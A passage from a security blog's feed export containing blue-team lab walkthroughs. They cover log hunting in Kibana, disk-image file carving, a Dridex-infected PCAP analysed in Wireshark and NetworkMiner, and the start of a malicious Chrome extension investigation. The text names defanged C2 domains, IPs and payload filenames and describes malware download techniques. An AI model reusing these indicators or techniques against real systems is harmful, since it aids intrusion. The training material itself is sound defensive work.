Executable): https://www.virustotal.com/gui/file/72e6d1728a546c2f3ee32c063ed09fa6ba8c46ac33b0dd2e354087c1ad26ef48/detection\nMITRE ATT\u0026amp;CK (T1569.002): https://attack.mitre.org/techniques/T1569/002/\nMITRE ATT\u0026amp;CK (T1543.003): https://attack.mitre.org/techniques/T1543/003/\nSysInternals — Strings: https://learn.microsoft.com/en-us/sysinternals/downloads/strings\nVirusTotal (2nd Stage Executable): https://www.virustotal.com/gui/file/5b01cca415277e5fb0c454690142b9b4029a1566938875497d2f0593db555270/detection\n","date":"2024-07-07T00:00:00Z","image":"/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/df9ce3b400de0131ff38c81d2d1f1e2e_MD5.png","permalink":"/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/","title":"CyberDefenders  —  SysInternals Blue Team Lab Walkthrough"},{"content":"TryHackMe — ItsyBitsy Challenge Walkthrough Incident Response Challenge using the Elastic Stack Image Credit: https://tryhackme.com/r/room/itsybitsy\nIntroduction: Welcome to my weekly walkthrough!\nAre you curious about investigating incidents using the Elastic (ELK) stack? Well you\u0026rsquo;re in luck — we’re about to tackle the ItsyBitsy challenge from TryHackMe!\nItsyBitsy is a DFIR challenge where we will analyze the HTTP network connection logs captured from a device. The not great news is that this device was making some suspicious network calls to a potential command and control server. To figure out what happened, we’ll use the Kibana module within the Elastic Stack to search the through logs, visualize the data, and determine what was downloaded.\nBut first, a high-level infographic of where Kibana fits into the Elastic Stack:\nImage Credit: https://tryhackme.com/r/room/investigatingwithelk101\nWant more? Go check out the full Investigating with ELK 101 room on TryHackMe which covers the ELK stack fundamentals in much more detail.\nSo, whether you’re here to learn more about investigating with Elastic, or are just looking for a reference walkthrough for the ItsyBitsy challenge, you’ve stumbled on the right blog. In the spirit of learning, I am not going to be revealing any flags in this write-up, so I encourage you to go hands-on and try it for yourself — you got this!\nNow let’s put on our detective hats and have some fun with forensics!\nThanks for reading along!\nChallenge Link: https://tryhackme.com/r/room/itsybitsy\nChallenge Scenario: During normal SOC monitoring, Analyst John observed an alert on an IDS solution indicating a potential C2 communication from a user Browne from the HR department. A suspicious file was accessed containing a malicious pattern THM:{ ________ }. A week-long HTTP connection logs have been pulled to investigate. Due to limited resources, only the connection logs could be pulled out and are ingested into the connection_logs index in Kibana.\nOur task in this room will be to examine the network connection logs of this user, find the link and the content of the file, and answer the questions.\nQuestion 1: How many events were returned for the month of March 2022? First things first, we’ll enter the Elastic web console and then navigate to the Kibana \u0026gt; Discover Analytics module. Kibana is used to search logs and visualize them, so using the Discover module will enable us to query and explore the provided network connection_logs index_._\nTo access the Discover tab, we can either input “discover” into the search box at the top of the dashboard or use the menu on the left-hand sidebar.\nFor Question 1, our objective is to narrow the search scope to a single month. To do this, we will need to adjust the time filter so that we can focus only on the events that occurred in March of 2022. Let’s modify the dates in the time selection field.\nWe’ll filter the first date/time to Absolute and set the start date to March 1, 2022, at 0:00 and then the end date to March 31, 2022, at 23:30. This selection should give us the entire month of March 2022.\nOnce we apply the date/time filter, we’ll see our results displayed as a total number of hits and now we have some data to analyze and the answer to Question 1.\nTotal Hits\nQuestion 2: What is the IP associated with the suspected user in the logs? Since we have so many log entries, we’ll want to filter this to a manageable level. To do this, let’s check out the source_ip field filter which will help us to determine how many source hosts we have captured in our logs.\nOn the fly-out menu, we will have some analytics about the top 5 values that appear in the logs. Fortunately for us, there are only two entries.\nOne IP accounts for 99.6% of the traffic, and the second only accounts for 0.4%.\nBefore we go too crazy wading through a massive number of records, let’s check the IP address with the fewest number of hits by adding the source IP to the filter. I searched it manually in the query box, but you can also simply hit the + next to the value to add it to the filter.\nThis IP address only has two logged events which makes it a bit easier for us to analyze. Right away, there are a few suspicious indicators but let’s do some reconnaissance on the destination IP address to see if we can locate any intelligence.\nWe’ll start with VirusTotal to get an overview and see if there are any hits for malicious activity associated with this IP address:\nInterestingly, there are no hits for malware, however the banner shows that there are “10+ detected files communicating with this IP address” — that’s odd, let’s take a closer look at that.\nThe files communicating with this domain seem to have a high number of hits for malicious activity. This is giving us some confidence that we have found the host IP address of the infected user. But let’s double-check with another service as well, Hybrid Analysis.\nHybrid Analysis also assesses that this IP has been associated with some malicious activity. So, would have enough information to say that we found the correct local IP address for the victim. Let’s enter our answer to check our work.\nQuestion 3: The user’s machine used a legit windows binary to download a file from the C2 server. What is the name of the binary? Now that we know the victim’s local IP address and have an idea of what IP address the infected device was communicating with for command and control (C2), we need to determine what application or service was being used for the connection. Let’s focus on the user_agent field to answer Question 3.\nIf you aren’t familiar, user-agents are request headers that servers use to identify requesting client details like the operating system, web browser version, or application.\nIn this log, we have an unusual user_agent that isn’t something typical like a web browser, for example. This indicates that the malware might be living off the land and using a legitimate Microsoft command-line tool.\nI don’t want to spoil the fun but if we do a little research about this user agent, we’ll stumble on some helpful information from Microsoft Learn — this particular tool can be leveraged to:\ncreate, download or upload jobs, and to monitor their progress.\nIn other words, this information confirms that this utility can be used to download files. Let’s submit our findings and move on to the next question.\nQuestion 4: The infected machine connected with a famous filesharing site in this period, which also acts as a C2 server used by the malware authors to communicate. What is the name of the filesharing site? In Question 2, we found evidence that the victim’s device communicated with a destination IP address that resolves to a web-based file sharing service. According to MITRE ATT\u0026amp;CK (T1102), this site has been used for command and control by some threat actors and malware families.\nLet’s confirm that our IP intelligence is correct by looking at the host field.\nSince the host matches the intelligence that we found about the IP address, we have our answer.\nQuestion 5: What is the full URL of the C2 to which the infected host is connected? Okay, to answer Question 5, we have the simple task of combining the host domain from Question 4 with the uri field of the event. This will form the hostname/path combination of the URL that we are looking for to answer this question!\nQuestions 6 \u0026amp; 7: A file was accessed on the filesharing site. What is the name of the file accessed? The file contains a secret code with the format THM{_____}. All right, we made it to the last two questions! So far, we have determined the IP address, application, domain, and URL that the victim’s infected device accessed. The last step for this challenge is to determine the name and content of the file hosted on this file sharing site.\nUnfortunately, the connection_logs index does not seem to contain any of the file data that we are looking for, so we have to pivot. What if we navigate to the URL that we assembled in Question 5 to view the public site directly?\nOnce there, it looks like our research paid off! We found both the file that was accessed and can view the contents. Let’s submit our answers and wrap up this investigation!\nConclusion: Hey, nice job with the investigation! We successfully completed the listed objectives and analyzed the HTTP connection log file, found the required evidence, and have an understanding of the payload to complete the ItsyBitsy challenge! It’s time to close the case.\nA big thank you to TryHackMe for hosting this awesome challenge! I haven’t had an opportunity to jump into Elastic so this was a fantastic challenge to learn about the tool and get a high-level overview of how it can be leveraged to analyze large data sets and apply that to incident response. While I’m sure this barely scratches the surface of what the tool is capable of, I gained plenty of valuable hands-on experience with Kibana and am looking forward to the next time I’ll get to practice with Elastic!\nI hope that you had as much fun as I did and learned something new, too!\nThank you so much for reading along and working through this investigation with me. Until next week — stay curious!\nTools \u0026amp; References: VirusTotal: https://www.virustotal.com/\nHybrid Analysis: https://www.hybrid-analysis.com/\nMITRE ATT\u0026amp;CK — Command and Control: https://attack.mitre.org/tactics/TA0011/\nMozilla Developer (User Agent): https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent\nMicrosoft bitsadmin: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin\nMITRE ATT\u0026amp;CK — Web Service: https://attack.mitre.org/techniques/T1102/\n","date":"2024-06-23T00:00:00Z","image":"/posts/tryhackme-itsybitsy-challenge-walkthrough/37b86be078b6e7a7a3c0c18c9f35741a_MD5.png","permalink":"/posts/tryhackme-itsybitsy-challenge-walkthrough/","title":"TryHackMe  —  ItsyBitsy Challenge Walkthrough"},{"content":"Blue Team Labs Online — Employee of the Year Challenge Walkthrough Analyzing a DD disk image with Scalpel and PhotoRec Image Credit: https://blueteamlabs.online/\nIntroduction: Welcome to my weekly walkthrough!\nHave you ever been curious about recovering deleted data from a disk image file? Well, we’re about to explore data recovery and analysis by tackling the Employee of the Year challenge from Blue Teams Labs Online! This is a capture the flag style challenge that has us defenders investigating a DD disk image, searching for lost files, and recovering flags from inside of the document structures by leveraging Scalpel and PhotoRec.\nSo, whether you’re here to learn more about DD file analysis, check out some practical use of file carving tools, or are just looking for a reference walkthrough for the Employee of the Year challenge, you’ve stumbled on the right blog.\nNow, let’s put on our detective hats and have some fun with forensics! Thanks for reading along!\nChallenge Link: https://blueteamlabs.online/home/challenge/employee-of-the-year-df16bc36f3\nChallenge Scenario: John received the ‘Best Employee of the Year’ award for his hard work at FakeCompany Ltd. Unfortunately, today John deleted some important files (typical John!). It’s your job to recover the deleted files and capture all the flags contained within!\nSetup the REMnux Analysis Environment \u0026amp; Extract the challenge file: Safety first — It’s always important when working with lab/challenge files from Blue Team Labs Online (or any educational lab/challenge/range) to keep yourself safe by performing these tasks in a dedicated, isolated virtual machine environment. For example, I’m using REMnux for this challenge and walkthrough.\nTo keep this write-up focused I’m going to skip a step-by-step setup guide of REMnux. Instead, if you want to set up your own REMnux environment please follow the directions provided by REMnux directly. I opted for the virtual appliance method:\nGet the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org\nOkay! Now that we have our virtual environment created, updated, isolated, and snapshotted, we can download and extract our challenge file and get started!\nQuestion 1: What is the text written on the recovered gif image? Let’s dive right in and get an overview of the .dd file. This is a raw disk image file and we will be working to recover the data deleted by the user.\nTo start out, we’re going to use the strings command. At a high-level, this will help us reveal some of the data within the image by printing pieces of data contained (strings) within the image out to the console.\n`strings recoverfiles.dd\nOutput of the strings command on the .dd image file.\nRight away we will see some interesting, relevant strings at the very top of the output. For Question 1 we are going to focus on recovering the .gif image, but how do we extract the information from the image?\nWe’re going to use the data carving tool, Scalpel. According to the REMnux documentation, Scalpel is used to:\nCarve contents out of binary files, such as partitions.\nSo how do we do this? Well, Scalpel uses a targeted approach, so we need to know what type of file that we’re looking for. In this case we know that we need to carve out a GIF file, so we’ll first need to adjust the Scalpel configuration file by uncommenting (removing #) the relevant lines for GIF files in a text editor. For example, I’ll use Nano.\nsudo nano /etc/scalpel/scalpel.conf\nNow that we have selected the GIF file types, we can run Scalpel against the image file to extract any of the matching file types. I made a folder called Recovered that we will use as an output directory.\nLet’s try it out!\nscalpel -o Recovered/ recoverfiles.dd\nIt looks like Scalpel was able to carve out one GIF file, let’s check out Recovered folder and see what it found.\nGIF file extracted by Scalpel.\nGood job, indeed! Let’s submit the answer and move on to Question 2.\nQuestion 2: Submit Flag1 Since we tested Scalpel for Question 1, why don’t we try a different tool for Question 2?\nThere is another suggested tool for this challenge, PhotoRec. This is another data recovery tool that we are going to leverage to retrieve files from the disk image. One of the benefits of PhotoRec is that it has many more file types selected by default, so we don’t necessarily need to know what exactly we are looking for. This is going to be critical since the only clue we know to look for is Flag1.\nLet’s try PhotoRec out:\nsudo photorec recoverfiles.dd\nThere will be a few screens that will require some input from us, but I just left the default settings.\nAt the last menu screen, you will need to select an output destination and press C to confirm your choice.\nOkay, PhotoRec carved 5 files out of the image. Let’s review them and see what we found:\nContents of the PhotoRec recovery.\nVery interesting! The first file we see is the GIF file from Question 1, that would have saved us some time to start with PhotoRec. But more importantly is the .png file — let’s open it up to find Flag1!\nQuestion 3: Submit Flag2 Now that we found the first flag, let’s keep looking at the files that PhotoRec recovered for us.\nContents of the PhotoRec recovery.\nWe’re going to focus on the .PDF and .MP4 later in the challenge so let’s just focus on the file f0009072.docx.\nWe don’t have a way of opening the file to view the contents, so we are going to do a little static analysis on the structures of the file itself.\nLet’s establish some background theory about the .docx file format first.\nAccording to Microsoft:\nThe Open XML format (.docx/.xlsx/.pptx) is the default format in all supported versions of Microsoft Office and, unless you have a specific reason to use a different format, it’s the format we recommend using for your Office file\nNow the Office Open XML (OOXML) format is essentially structured as a ZIP archive and made up of XML files and other data (files, images, etc.). If we use a tool like oleid we can confirm the container format:\nSo, all of this to say is that we need to view the content structure of this file to see what streams are available for us to analyze!\nIf we do some research on this topic, we’ll stumble across a SANS Internet Storm Center diary entry from Didier Stevens whose tool, zipdump.py, we’ll leverage.\nInternet Storm Center _Internet Storm Center Diary 2024–06–09, Author: Johannes Ullrich_isc.sans.edu\nLet’s follow the concepts of this research and try running zipdump.py on the .docx file we retrieved:\nsudo zipdump.py f0009072.docx\nAfter running zipdump.py, we can view the streams within the .docx file, let’s focus on index number 5, word/document.xml, that contains the content of the document itself.\nPutting all of this together, we’re going to use zipdump.py to dump the stream of word/document.xml for us to examine using the below syntax to select Index 5.\nsudo zipdump.py -s 5 -d f0009072.docx\nOkay, it’s not pretty when displayed in the console but we are seeing the structure of the document content! Outside of all the formatting, notice the string highlighted in the image above? This looks like a Base64-encoded string, doesn’t it?\nWe’re almost there! Let’s test out the theory and try to decode this string in CyberChef. For this challenge, I will use the version built-in to REMnux, but you can use the online version, too.\nWe can apply the From Base64 operation to the recipe and input the string we found in the .docx file:\nAnd there we go — we found the 2nd flag!\nQuestion 4: Submit Flag3 For Question 4_,_ let’s turn our attention to the PDF file since we saw it had some text in the preview icon that might give us a clue.\nWell, not much to go on here, so let’s see if there is anything to discover in the structure of the PDF. We will use another tool by Didier Stevens, pdf-parser.py, to parse the PDF file for the data objects that make up the document rather than what we saw rendered.\nPDF Tools _Here is a set of free YouTube videos showing how to use my tools: Malicious PDF Analysis Workshop. pdf-parser.py This…_blog.didierstevens.com\nSo, let’s say we wanted to search for a flag, we can (and will) parse the document and search for a string within the objects. For this challenge, let’s just use grep to clean-up the output and simply look for “flag.”\npdf-parser.py f0009040.pdf | grep -i \u0026ldquo;flag\u0026rdquo;\nAwesome, we got it! But something looks a little off, doesn’t it? We need to decode this to get a fully readable flag, so let’s jump back into CyberChef again.\nIt looks like the flag has some URL/Percent encoding which is used to ensure valid characters for transmission over the internet. In CyberChef let’s add the URL Decode operation to the recipe and see if we can grab the flag…\nQuestion 5: What is the filesystem of the provided disk image? This is a tricky question to tackle. If we do some research on Google, we’ll find that there is no shortage of suggested methods to locate this information including: blkid, fsck, df, etc.\nUnfortunately, none of these commands can help determine the answer to Question 5.\nWe could continue doing some further Google searching, but let’s try to leverage generative AI. I’m going to check with Microsoft Copilot for any methods I might have missed.\nAccording to Copilot, there is a method I hadn’t found yet in my earlier research:\nTo identify the file system type, use cfdisk:\nsudo cfdisk your_file.dd\nLet’s be diligent and validate that the information is correct by verifying the provided source link. How to open .DD file to analyze it? — Ask Ubuntu\nAfter a quick overview from the forum link, the information looks accurate! Let’s try it…\nAwesome! By following this method, we were able to find an additional method that helped us locate the answer to Question 5!\nQuestion 6: What is the original filename of the recovered mp4 file? Okay, last question! Let’s focus on the final file that PhotoRec recovered back in Question 2, the MP4 file.\nRemember, that this isn’t the original name but the recovered name after the data carving. We can actually watch the video to find that the content is referencing SBTCertifications — this name rings a bell…\nRemember back in Question 1 that we ran the strings command on the .dd file and we saw some interesting file names?\nLet’s try looking at the entire recovery image with strings again. We already know there is a ton of output, so let’s just grep for mp4 this time.\nstrings recoverfiles.dd | grep -i \u0026ldquo;mp4\u0026rdquo;\nAnd there we go! We found the final flag! Let’s wrap up this investigation.\nConclusion: Hey, nice job with the investigation! We successfully analyzed the DD file, located the flags, and recovered John’s files to complete the Employee of the Year challenge! Now that we successfully helped John to recover his data and retain his “Employee of the Year” status, let’s close this case.\nA big thank you to Blue Teams Labs Online for hosting this awesome challenge! This was a fantastic opportunity to learn about file carving and add some new tools to my tool kit. I also appreciated the depth of this challenge. We not only had to learn how to find and recover the files, but we also had to deep-dive into OOXML and PDF files to locate the flags. Overall, I gained some valuable experience about analyzing DD disk images and data recovery. I hope that you had as much fun as I did and learned something new, too!\nThank you so much for reading along and working through this investigation with me. Until next week — stay curious!\nTools \u0026amp; References: REMnux: https://docs.remnux.org/\nScalpel: https://github.com/sleuthkit/scalpel\nPhotorec: https://www.cgsecurity.org/wiki/PhotoRec\nMicrosoft File Formats: https://support.microsoft.com/en-us/office/learn-about-file-formats-56dc3b55-7681-402e-a727-c59fa0884b30#:~:text=docx%20file%20is%20an%20Open%20XML%20formatted%20Microsoft%20Word%20document.\nWikipedia Office Open XML: https://en.wikipedia.org/wiki/Office_Open_XML\nOLEID: https://github.com/decalage2/oletools/wiki/oleid\nZipdump.py: https://blog.didierstevens.com/2020/07/27/update-zipdump-py-version-0-0-20/\nSANS XML Document: https://isc.sans.edu/diary/An+XMLObfuscated+Office+Document+CVE202140444/27860\nCyberChef: https://gchq.github.io/CyberChef/\nPDF Parser: https://blog.didierstevens.com/programs/pdf-tools/\nURL Percent Encoding: https://www.w3schools.com/tags/ref_urlencode.ASP\nMicrosoft Copilot: https://copilot.microsoft.com/\nAsk Ubuntu: https://askubuntu.com/questions/1279716/how-to-open-dd-file-to-analyze-it\n","date":"2024-06-16T00:00:00Z","image":"/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/3fddc47f3cb853037582cb2c4d76f68a_MD5.png","permalink":"/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/","title":"Blue Team Labs Online  —  Employee of the Year Challenge Walkthrough"},{"content":"Blue Team Labs Online — Network Analysis — Malware Compromise Challenge Walkthrough Analyzing PCAP files with Wireshark and NetworkMiner Image Credit: https://blueteamlabs.online/\nIntroduction: Welcome to my weekly walkthrough! Have you ever been curious about analyzing a network packet capture (PCAP) file to investigate malicious traffic from a malware infected computer?\nWell, we’re about to explore some PCAP analysis by tackling the Network Analysis — Malware Compromise challenge from Blue Teams Labs Online! This is an incident response challenge that has us defenders investigating a PCAP file taken from an endpoint infected with the Dridex malware_._\nTo tackle this investigation, we’re going to leverage Wireshark and NetworkMiner for the analysis. So, whether you’re here to learn more about PCAP analysis, see some practical use of these tools, or are just looking for a reference walkthrough for the Network Analysis — Malware Compromise, you’ve stumbled on the right blog.\nNow, let’s put on our detective hats and have some fun with forensics! Thanks for reading along!\nChallenge Link: https://blueteamlabs.online/home/challenge/network-analysis-malware-compromise-e882f32908\nChallenge Scenario: A SOC Analyst at Umbrella Corporation is going through SIEM alerts and sees the alert for connections to a known malicious domain. The traffic is coming from Sara’s computer, an Accountant who receives a large volume of emails from customers daily. Looking at the email gateway logs for Sara’s mailbox there is nothing immediately suspicious, with emails coming from customers. Sara is contacted via her phone and she states a customer sent her an invoice that had a document with a macro, she opened the email and the program crashed. The SOC Team retrieved a PCAP for further analysis.\nWarning about working with malicious files \u0026amp; Dridex background: Safety first — It’s always important when working with lab/challenge files from Blue Team Labs Online (or any educational lab/challenge/range) to keep yourself safe by performing these tasks in a dedicated, isolated virtual machine environment. Even for educational purposes, we are working with potentially malicious files, after all.\nNow, let’s also set the stage with some background information on the Dridex malware from Malpedia to enrich the scenario:\nDridex as “an evasive, information-stealing malware variant; its goal is to acquire as many credentials as possible and return them via an encrypted tunnel to a Command-and-Control (C\u0026amp;C) server. These C\u0026amp;C servers are numerous and scattered all over the Internet, if the malware cannot reach one server it will try another…” According to MalwareBytes, “Dridex uses an older tactic of infection by attaching a Word document that utilizes macros to install malware…”\nThat isn’t good! Now that we have some context on the malware and our virtual environment created, updated, isolated, and snapshotted, we can download and extract our challenge file and get to work!\nQuestion 1: What’s the private IP of the infected host? To start this off, let’s open up Wireshark and load the challenge PCAP file — We’re going to focus on the first packet (№. 1) in the list. Check out the source IP (10.11.27.101) performing a DNS query to the DNS server (10.11.27.1) for the domain klychenogg[.]com.\nWe can’t be sure yet this is the infected host we are looking for until we look at the TCP three-way handshake where the source IP (10.11.27.101) connects to 95[.]181[.]198[.]231 (which resolves to klychenogg[.]com).\nAfter the host establishes a connection with the server, we observe a strange file in the HTTP GET request (packet #6.) Let’s jump over and search for this domain on VirusTotal:\nOkay! So, we’ve got some hits on this domain which gives us some additional context and confidence that this host is communicating with a malicious domain. It is likely that this is the infected source IP that we are searching for to answer Question 1.\nBut let’s look at this with another view in Wireshark to double-check what the traffic utilization of this IP address is overall. To do this, we can utilize the Statistics \u0026gt; Endpoints view in Wireshark.\nHere we will see all the endpoints from this packet capture. Looking at the suspected host IP, we can confirm that it has the lion’s share of traffic compared to the other hosts. Let’s submit the answer and check our work.\nQuestion 2: What’s the malware binary that the macro document is trying to retrieve? We may have already stumbled across the answer during our analysis of Question 1. But let’s go ahead and follow the TCP stream starting with the SYN packet of the three-way handshake (packet #3.)\nTo do this, click the row of the packet, right click it, and select Follow \u0026gt; TCP Stream.\nNow, in the TCP Stream view and we see that the victim host requested the file “spet10.spr” from this server.\nAccording to the United States Cybersecurity \u0026amp; Infrastructure Security Agency (CISA,) this technique is consistent with the Dridex malware:\nMany of the files, rather than containing the actual malware, contain hidden or obfuscated macros. Upon activation, the macros reach to a command and control server, FTP server, or cloud storage site to download the actual Dridex malware.\nQuestion 3: From what domain HTTP requests with GET /images/ are coming from? For Question 3 let’s try something a little different; instead of just using one utility, why don’t we add another one to the toolkit to compare the differences?\nWireshark NetworkMiner We’ll start with Wireshark. Let’s do a simple string search with the “find packet” function. We can access this function through Edit \u0026gt; Find Packet OR by pressing the magnifying glass above the display filter field. Then, we can search for the “/images” to locate the requests that contain this string.\nWe’ll see that the first hit lists the request URI with the domain we are looking for down in the packet details pane.\nThe second option is to leverage the tool, NetworkMiner. NetworkMiner is another powerful network forensic tool that can extract artifacts from PCAP files and display them in an easy-to-understand format with robust sorting and filtering capabilities.\nLet’s search NetworkMiner for the same information that we found earlier with Wireshark. To do this, open NetworkMiner, load the PCAP file, and then press Parameters. In the Filter keyword box, input “/images.”\nNow that we have filtered our results, we can see three entries from our search. If we focus on the Destination host tab, we will see the request domain. While finding the same information with both tools, it’s still useful to understand the different capabilities between the two applications and how they present the data.\nQuestion 4: The SOC Team found Dridex, a follow-up malware from Ursnif infection, to be the culprit. The customer who sent her the macro file is compromised. What’s the full URL ending in .rar where Ursnif retrieves the follow-up malware from? For Question 4, we’ll again use both Wireshark and NetworkMiner to hunt for the second stage RAR file in the PCAP.\nIn Wireshark, we’ll do another simple string search like we did in Question 3 but this time we will search for “.rar”\nTake a look at the Full request URI in the packet details pane. This is the URL that we are looking for!\nFrom the NetworkMiner perspective, click on the Files tab then, in the Filter keyword box, input “.rar” — Now check the Details tab, we will see the same URI that we found with Wireshark!\nQuestion 5: What is the Dridex post-infection traffic IP addresses beginning with 185.? (4 points) Okay, last question! We know that the Dridex malware on the victim’s machine is communicating with a command-and-control IP address beginning with 185. We just need to find the full IP.\nWe’ll start by filtering for destination IP addresses to locate the valid indicator of compromise (IOC). We did this earlier in Question 1 but let’s open Wireshark and use the Statistics \u0026gt; Endpoints view again. This will help us locate two IP addresses beginning with 185.\nLet’s see if we can get any more information about these IP addresses with NetworkMiner. In NetworkMiner, we just need to visit the Hosts tab. This will list all the hosts within the PCAP file just like the Endpoints view in Wireshark but with the added benefit of some extra information in one tab.\nUnfortunately, while we get some additional information, it isn’t enough to determine which of the two 185 IP addresses is the command-and-control traffic the challenge wants us to find from our tools alone.\nLet’s pivot and try to enrich our data by using a straightforward process of elimination by checking VirusTotal for any intelligence about each of the IP addresses…\nHey, we found something! While this isn’t a definitive test, the 2nd IP address has a few hits on VirusTotal for malicious activity. For the purposes of this challenge, this will be enough information. Let’s check that we have found the right IP Address!\nConclusion: Excellent job with the investigation! We successfully analyzed the PCAP file given to us by the SOC team to complete the Network Analysis — Malware Compromise challenge! Now that we understand the scope of the incident, let’s wrap this up.\nA big thank you to Blue Teams Labs Online for hosting this awesome challenge! This was a fantastic opportunity to practice PCAP analysis, sharpen my skills with Wireshark, and test out the capabilities of NetworkMiner. I always find it valuable to get the hands-on practice with these tools to keep my skills sharp for the next time I’ll need to use these tools in the real world.\nThank you so much for reading along and working through this investigation with me. I hope that you had as much fun as I did and learned something new, too!\nUntil next week — stay curious!\nTools \u0026amp; References: Wireshark: https://www.wireshark.org/\nNetwork Miner: https://www.netresec.com/?page=NetworkMiner\nWireshark Wiki (TCP 3-Way Handshake): https://wiki.wireshark.org/TCP_3_way_handshaking/\nMalpedia (Dridex): https://malpedia.caad.fkie.fraunhofer.de/details/win.dridex\nCISA Dridex Malware: https://www.cisa.gov/news-events/cybersecurity-advisories/aa19-339a\nVirusTotal: https://www.virustotal.com/\n","date":"2024-06-09T00:00:00Z","image":"/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/7fc18a432db487a053ddf7a301a3bcd5_MD5.png","permalink":"/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/","title":"Blue Team Labs Online  — Network Analysis  - Malware Compromise Challenge Walkthrough"},{"content":"LetsDefend — Chrome Extension Challenge Walkthrough Investigating a Malicious Chrome Extension with DB Browser for SQLite Image Credit: https://app.letsdefend.io/challenge/malicious-chrome-extension\nIntroduction: Welcome to my weekly walkthrough!\nHave you ever wondered how a malicious Google Chrome extension could be abused, creating a privacy risk for a user? Well we\u0026rsquo;re about to investigate exactly how this can happen by working through the Malicious Chrome Extension challenge over on LetsDefend!\nThis is an incident response challenge which has us defenders investigating a Windows image to determine how the victim\u0026rsquo;s data was exposed. We\u0026rsquo;ll need to review artifacts on the system like the Google Chrome cache to determine what happened. Sounds like another fun investigation to me!\nSo, whether you\u0026rsquo;re here to learn more about Chrome cache analysis, check out some new tools, or are just looking for a reference walkthrough for the LetsDefend Malicious Chrome Extension, you\u0026rsquo;ve stumbled on the right blog.\nPut on your detective hat and let\u0026rsquo;s have some fun with forensics! Thanks for reading along!\nChallenge Link: https://app.letsdefend.io/challenge/malicious-chrome-extension\nChallenge Scenario: The victim found out their private info was out there for everyone to see, and things got worse — the bad guys got into their money stuff, social media, and personal emails. We got an image of his machine so you can tell us what happened.\nQuestion 1: What is the ID of the malicious extension? Let\u0026rsquo;s start out by getting familiar with our analysis environment and looking in our Tools folder. We\u0026rsquo;ll find that there is only one tool: DB Browser for SQLite.\nSince we are looking for a malicious extension, we\u0026rsquo;re going to leverage DB Browser to analyze the victim\u0026rsquo;s local web browser cache and focus on Google Chrome. If you aren\u0026rsquo;t aware, Chrome stores some website and browsing data in a cache folder on the local device it\u0026rsquo;s installed on.\nI\u0026rsquo;ll point to an excellent cheat sheet from Foxtron Forensics about the locations and data that are located within the Chrome cache:\nGoogle Chrome History Location | Chrome History Viewer _Chrome history is mainly stored within SQLite databases located in the Chrome profile folder. Browser History Examiner\u0026hellip;_www.foxtonforensics.com\nWith that background, let\u0026rsquo;s open DB Browser. We\u0026rsquo;ll want to select Open Database and navigate to the victim\u0026rsquo;s Google Chrome Cache folder within the challenge file.\n/root/Desktop/ChallengeFile/Extension/Users/Administrator/AppData/Local/Google/Chrome/User Data\nOnce we navigate to the above file path, we need to select \u0026quot; # \u0026quot;\nAll Files\u0026quot; to see the contents of the folder.\nWe\u0026rsquo;ll start with the History database which, according to the Foxtron Forensics article contains:\nWebsite Visits\nChrome Website Visits are stored in the €˜History\u0026rsquo; SQLite database, within the €˜visits\u0026rsquo; table. Associated URL information is stored within the €˜urls\u0026rsquo; table.\nNow, if we browse through the URLS table, we will find references to several extensions from the Chrome Web Store.\nMost of these extensions appear to be simple utilities, but the two extensions referencing Netflix stick out to me, so let\u0026rsquo;s focus on the Netflix Party app and the Teleparty Premium extensions.\nLet\u0026rsquo;s do some Google research and see if we can find any information about the possibility of malicious activity from these extensions, shall we? It doesn\u0026rsquo;t take long to stumble upon the following article from Popular Science about malicious, fake Netflix extensions with a link to the original research by McAfee.\nThese 5 popular Chrome extensions are compromising your computer _Time to uninstall if you\u0026rsquo;re one of their collective 1.4 million users._www.popsci.com\nVery interesting! According to the McAfee blog, one of the malicious extension\u0026rsquo;s ID is:\nImage Source: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/\nI think we found a match on the victim\u0026rsquo;s device!\nQuestion 2: What is the name of the malicious extension? This one is a bit trickier to find. Remember in Question 1 that we saw the Chrome Web Store name, Netflix Party, in the History database and in the McAfee research? This isn\u0026rsquo;t the name of the extension that we are looking for in Question 2, though.\nSo, let\u0026rsquo;s navigate to the extension\u0026rsquo;s local directory and see what else we can find.\n/root/Desktop/ChallengeFile/Extension/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/Extensions/mmnbenehknklpbendgmgngeaignppnbe/3.0.0_0/manifest.json\nInside of the extension directory, go ahead and open the manifest.json file in any plain text editor.\nBut what is the manifest file, anyway? According to Google:\nEvery extension must have a _manifest.json_ file in its root directory that lists important information about the structure and behavior of that extension. This page explains the structure of extension manifests and the features they can include.\nUnfortunately, the name in the manifest.json is also not what we are looking for this time. Hmmm, let\u0026rsquo;s think creatively and see what else we have available.\nThere is also a _locales folder in the extension\u0026rsquo;s directory with an \u0026quot; # \u0026ldquo;en\u0026quot;directory for English.\n/root/Desktop/ChallengeFile/Extension/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/Extensions/mmnbenehknklpbendgmgngeaignppnbe/3.0.0_0/_locales/en/messages.json\nWe\u0026rsquo;ll get some background on what the messages.json is from Google first:\nEach internationalized extension has at least one file named messages.json that provides locale-specific strings.\nIn other words, this file is used for translation and localization for different languages including locale-specific strings. Maybe there is a helpful string here for us? Let\u0026rsquo;s open up the messages.json.\nThird time\u0026rsquo;s the charm! Let\u0026rsquo;s input extension name (extName) message from this file and see if we found the correct answer\u0026hellip;\nQuestion 3: How many people were affected by this extension? Okay, let\u0026rsquo;s refer to the McAfee article that we used for Question 1. Fortunately, for us the research has the number of affected users listed in the table.\nImage Credit: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/\n\\\nQuestion 4: What is the attacker\u0026rsquo;s domain name? Now that we have reviewed the manifest and messages, let\u0026rsquo;s see what else is available in the malicious extension\u0026rsquo;s directory. We can see some JavaScript files, let\u0026rsquo;s have a look at some of these and try to understand what they are doing and see if we can locate the attacker\u0026rsquo;s domain.\nBased on the McAfee research we have some idea of where to look. The blog states:\nThe manifest.json sets the background 